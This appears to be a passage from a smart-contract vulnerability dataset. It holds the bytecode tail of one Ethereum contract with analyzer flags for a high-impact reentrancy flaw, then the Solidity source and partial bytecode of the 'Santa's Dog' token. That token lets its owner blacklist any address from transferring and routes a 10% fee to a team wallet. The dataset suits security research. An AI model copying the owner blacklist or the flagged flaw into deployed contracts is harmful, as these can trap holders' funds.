b50505050506040513d601f19601f820116820180604052508101906109be9190611817565b5050600f80546a295be96e6406697200000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610a3957600080fd5b505af1158015610a4d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061066e91906117e1565b600d546001600160a01b0316336001600160a01b031614610ac35760405162461bcd60e51b815260206004820152600c60248201526b155b985d5d1a1bdc9a5e995960a21b6044820152606401610443565b600b55565b6001600160a01b038316610b2a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610443565b6001600160a01b038216610b8b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610443565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c505760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610443565b6001600160a01b038216610cb25760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610443565b60008111610d145760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610443565b6000546001600160a01b03848116911614801590610d4057506000546001600160a01b03838116911614155b15610ebf576001600160a01b03831660009081526006602052604090205460ff16158015610d8757506001600160a01b03821660009081526006602052604090205460ff16155b610d9057600080fd5b600f546001600160a01b038481169116148015610dbb5750600e546001600160a01b03838116911614155b8015610de057506001600160a01b03821660009081526005602052604090205460ff16155b8015610df55750600f54600160b81b900460ff165b15610e5257601054811115610e0957600080fd5b6001600160a01b0382166000908152600760205260409020544211610e2d57600080fd5b610e3842601e611940565b6001600160a01b0383166000908152600760205260409020555b6000610e5d306104e2565b600f54909150600160a81b900460ff16158015610e885750600f546001600160a01b03858116911614155b8015610e9d5750600f54600160b01b900460ff165b15610ebd57610eab81611012565b478015610ebb57610ebb47610f09565b505b505b610eca83838361119b565b505050565b60008184841115610ef35760405162461bcd60e51b81526004016104439190611845565b506000610f008486611999565b95945050505050565b600c546001600160a01b03166108fc610f238360026111a6565b6040518115909202916000818181858888f19350505050158015610f4b573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610f668360026111a6565b6040518115909202916000818181858888f1935050505015801561066e573d6000803e3d6000fd5b6000600854821115610ff55760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610443565b6000610fff6111e8565b905061100b83826111a6565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061105a5761105a6119e1565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156110ae57600080fd5b505afa1580156110c2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110e69190611635565b816001815181106110f9576110f96119e1565b6001600160a01b039283166020918202929092010152600e5461111f9130911684610ac8565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111589085906000908690309042906004016118cf565b600060405180830381600087803b15801561117257600080fd5b505af1158015611186573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610eca83838361120b565b600061100b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611302565b60008060006111f5611330565b909250905061120482826111a6565b9250505090565b60008060008060008061121d87611378565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061124f90876113d5565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461127e9086611417565b6001600160a01b0389166000908152600260205260409020556112a081611476565b6112aa84836114c0565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516112ef91815260200190565b60405180910390a3505050505050505050565b600081836113235760405162461bcd60e51b81526004016104439190611845565b506000610f008486611958565b60085460009081906b033b2e3c9fd0803ce800000061134f82826111a6565b82101561136f575050600854926b033b2e3c9fd0803ce800000092509050565b90939092509050565b60008060008060008060008060006113958a600a54600b546114e4565b92509250925060006113a56111e8565b905060008060006113b88e878787611539565b919e509c509a509598509396509194505050505091939550919395565b600061100b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ecf565b6000806114248385611940565b90508381101561100b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610443565b60006114806111e8565b9050600061148e8383611589565b306000908152600260205260409020549091506114ab9082611417565b30600090815260026020526040902055505050565b6008546114cd90836113d5565b6008556009546114dd9082611417565b6009555050565b60008080806114fe60646114f88989611589565b906111a6565b9050600061151160646114f88a89611589565b90506000611529826115238b866113d5565b906113d5565b9992985090965090945050505050565b60008080806115488886611589565b905060006115568887611589565b905060006115648888611589565b905060006115768261152386866113d5565b939b939a50919850919650505050505050565b600082611598575060006103aa565b60006115a4838561197a565b9050826115b18583611958565b1461100b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610443565b803561161381611a0d565b919050565b60006020828403121561162a57600080fd5b813561100b81611a0d565b60006020828403121561164757600080fd5b815161100b81611a0d565b6000806040838503121561166557600080fd5b823561167081611a0d565b9150602083013561168081611a0d565b809150509250929050565b6000806000606084860312156116a057600080fd5b83356116ab81611a0d565b925060208401356116bb81611a0d565b929592945050506040919091013590565b600080604083850312156116df57600080fd5b82356116ea81611a0d565b946020939093013593505050565b6000602080838503121561170b57600080fd5b823567ffffffffffffffff8082111561172357600080fd5b818501915085601f83011261173757600080fd5b813581811115611749576117496119f7565b8060051b604051601f19603f8301168101818110858211171561176e5761176e6119f7565b604052828152858101935084860182860187018a101561178d57600080fd5b600095505b838610156117b7576117a381611608565b855260019590950194938601938601611792565b5098975050505050505050565b6000602082840312156117d657600080fd5b813561100b81611a22565b6000602082840312156117f357600080fd5b815161100b81611a22565b60006020828403121561181057600080fd5b5035919050565b60008060006060848603121561182c57600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b8181101561187257858101830151858201604001528201611856565b81811115611884576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561191f5784516001600160a01b0316835293830193918301916001016118fa565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611953576119536119cb565b500190565b60008261197557634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611994576119946119cb565b500290565b6000828210156119ab576119ab6119cb565b500390565b60006000198214156119c4576119c46119cb565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104df57600080fd5b80151581146104df57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220cec48febc5050850bd5e66cfcd30d6ec3abc6631cb3f0cfd894d6a218373090b64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
1,392
0x775f97DaD0622107bba291894C44EcdFE8DE93bb
/** *Submitted for verification at Etherscan.io on 2021-12-24 */ pragma solidity ^0.8.4; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract SantasDog is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Santa's Dog"; string private constant _symbol = "SantasDOG"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable _feeAddrWallet) { _feeAddrWallet1 = _feeAddrWallet; _feeAddrWallet2 = _feeAddrWallet; _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 10; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(amount <= _maxTxAmount); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet2.transfer(amount/10*2); _feeAddrWallet1.transfer(amount/10*8); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; _maxTxAmount = 1000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function nonosquare(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106100f75760003560e01c806370a082311161008a578063a9059cbb11610059578063a9059cbb14610311578063c3c8cd801461034e578063c9567bf914610365578063dd62ed3e1461037c576100fe565b806370a0823114610267578063715018a6146102a45780638da5cb5b146102bb57806395d89b41146102e6576100fe565b806323b872dd116100c657806323b872dd146101bf578063273123b7146101fc578063313ce567146102255780636fc3eaec14610250576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b5780631b3f71ae14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103b9565b604051610125919061289d565b60405180910390f35b34801561013a57600080fd5b5061015560048036038101906101509190612444565b6103f6565b6040516101629190612882565b60405180910390f35b34801561017757600080fd5b50610180610414565b60405161018d91906129ff565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b89190612484565b610425565b005b3480156101cb57600080fd5b506101e660048036038101906101e191906123f1565b61054f565b6040516101f39190612882565b60405180910390f35b34801561020857600080fd5b50610223600480360381019061021e9190612357565b610628565b005b34801561023157600080fd5b5061023a610718565b6040516102479190612a74565b60405180910390f35b34801561025c57600080fd5b50610265610721565b005b34801561027357600080fd5b5061028e60048036038101906102899190612357565b610793565b60405161029b91906129ff565b60405180910390f35b3480156102b057600080fd5b506102b96107e4565b005b3480156102c757600080fd5b506102d0610937565b6040516102dd91906127b4565b60405180910390f35b3480156102f257600080fd5b506102fb610960565b604051610308919061289d565b60405180910390f35b34801561031d57600080fd5b5061033860048036038101906103339190612444565b61099d565b6040516103459190612882565b60405180910390f35b34801561035a57600080fd5b506103636109bb565b005b34801561037157600080fd5b5061037a610a35565b005b34801561038857600080fd5b506103a3600480360381019061039e91906123b1565b610f77565b6040516103b091906129ff565b60405180910390f35b60606040518060400160405280600b81526020017f53616e7461277320446f67000000000000000000000000000000000000000000815250905090565b600061040a610403610ffe565b8484611006565b6001905092915050565b6000683635c9adc5dea00000905090565b61042d610ffe565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104b19061295f565b60405180910390fd5b60005b815181101561054b576001600660008484815181106104df576104de612dbc565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061054390612d15565b9150506104bd565b5050565b600061055c8484846111d1565b61061d84610568610ffe565b6106188560405180606001604052806028815260200161312960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105ce610ffe565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461173b9092919063ffffffff16565b611006565b600190509392505050565b610630610ffe565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106b49061295f565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610762610ffe565b73ffffffffffffffffffffffffffffffffffffffff161461078257600080fd5b60004790506107908161179f565b50565b60006107dd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118a4565b9050919050565b6107ec610ffe565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610879576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108709061295f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f53616e746173444f470000000000000000000000000000000000000000000000815250905090565b60006109b16109aa610ffe565b84846111d1565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109fc610ffe565b73ffffffffffffffffffffffffffffffffffffffff1614610a1c57600080fd5b6000610a2730610793565b9050610a3281611912565b50565b610a3d610ffe565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610aca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac19061295f565b60405180910390fd5b600f60149054906101000a900460ff1615610b1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b11906129df565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610baa30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611006565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610bf057600080fd5b505afa158015610c04573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c289190612384565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610c8a57600080fd5b505afa158015610c9e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cc29190612384565b6040518363ffffffff1660e01b8152600401610cdf9291906127cf565b602060405180830381600087803b158015610cf957600080fd5b505af1158015610d0d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d319190612384565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610dba30610793565b600080610dc5610937565b426040518863ffffffff1660e01b8152600401610de796959493929190612821565b6060604051808303818588803b158015610e0057600080fd5b505af1158015610e14573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610e3991906124fa565b5050506001600f60166101000a81548160ff021916908315150217905550683635c9adc5dea000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610f219291906127f8565b602060405180830381600087803b158015610f3b57600080fd5b505af1158015610f4f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f7391906124cd565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611076576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106d906129bf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110dd906128ff565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111c491906129ff565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611241576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112389061299f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156112b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a8906128bf565b60405180910390fd5b600081116112f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112eb9061297f565b60405180910390fd5b6000600a81905550600a600b8190555061130c610937565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561137a575061134a610937565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561172b57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156114235750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61142c57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156114d75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561152d5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156115455750600f60179054906101000a900460ff165b1561155a5760105481111561155957600080fd5b5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156116055750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561165b5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611671576000600a81905550600a600b819055505b600061167c30610793565b9050600f60159054906101000a900460ff161580156116e95750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156117015750600f60169054906101000a900460ff165b156117295761170f81611912565b60004790506000811115611727576117264761179f565b5b505b505b611736838383611b9a565b505050565b6000838311158290611783576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161177a919061289d565b60405180910390fd5b50600083856117929190612c16565b9050809150509392505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6002600a846117ea9190612b8b565b6117f49190612bbc565b9081150290604051600060405180830381858888f1935050505015801561181f573d6000803e3d6000fd5b50600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6008600a8461186b9190612b8b565b6118759190612bbc565b9081150290604051600060405180830381858888f193505050501580156118a0573d6000803e3d6000fd5b5050565b60006008548211156118eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118e2906128df565b60405180910390fd5b60006118f5611baa565b905061190a8184611bd590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561194a57611949612deb565b5b6040519080825280602002602001820160405280156119785781602001602082028036833780820191505090505b50905030816000815181106119905761198f612dbc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611a3257600080fd5b505afa158015611a46573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a6a9190612384565b81600181518110611a7e57611a7d612dbc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611ae530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611006565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611b49959493